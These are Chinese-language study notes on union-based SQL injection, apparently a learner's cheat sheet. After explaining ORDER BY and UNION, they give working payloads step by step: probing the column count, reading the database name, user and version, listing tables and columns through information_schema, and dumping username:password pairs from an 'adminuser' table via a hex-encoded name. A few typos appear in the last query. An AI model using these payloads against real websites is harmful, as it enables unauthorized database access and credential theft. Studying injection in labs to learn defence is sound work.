sql注入笔记:
1.order by (数字)、列名称 ---->排序
数字指的是按照第几列进行排序,如果数字超过表的最大列,那么就会报错。
asc升序(默认),desc(降序)
2.union(默认选取不同的值) 如果允许重复,则使用union all------>联合查询
union内部的每个select语句必须拥有相同数量的列。
union结果集中的列名总是等于union中第一个select语句的列名。
3.sql注入
第一步:猜解数据库字段数
输入-1'union select 1,2,3,4....# ,可以根据回显判断出sql语句的显示位置
因为-1查询不到,而且联合查询必须是列数相同的,所以也可以判断出来一共有多少列在这个查询表中
同时因为-1,查询不到,所以在显示的位置会出现2,3,4...字样,可以判断出是哪一列显示数据。
这样也不会因为显示了存在的id,而没办法看到我们想要的数据。
第二步:猜解数据库名
database():数据库名字
user():数据库用户
version():数据库版本
select database(),user(),version(), datebase()就是我们想要的数据库名字
第三步:根据数据库名字去查询表名
知识点:
information_schema 结构用来存储数据库系统信息:
①
SCHEMATA 存储数据库名的,
关键字段:SCHEMA_NAME,表示数据库名称
②
TABLES 存储表名的
关键字段:TABLE_SCHEMA表示表所属的数据库名称;
TABLE_NAME表示表的名称
③
COLUMNS 存储字段名的
关键字段:TABLE_SCHEMA表示表所属的数据库名称;
TABLE_NAME表示所属的表的名称
COLUMN_NAME表示字段名
id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),user(),version()#
一个固定格式, group_concat :指的是将查询到的列的值并排写在一起
group_concat():将同一个分组中的值连接起来,
select group_concat(id) from user where name ='小明'
如果有两个小明,一个id为4,一个id为5
则显示
姓名 id
小明 4,5
爆所有数据名
select group_concat(SCHEMA_NAME) from information_schema.schemata
得到当前库的所有表
select group_concat(table_name) from information_schema.tables where table_schema=database()
得到表中的字段名 将敏感的表进行16进制编码adminuser=0x61646D696E75736572
select group_concat(column_name) from information_schema.columns where table_name=0x61646D696E75736572
得到字段具体的值 select group_concat(username,0x3a,password) from adminuser
爆字段:
select group_concat(colume_name) from information_sechema.columns where table_sechema=database() and table_name=' '(自己填,从上面一步得到)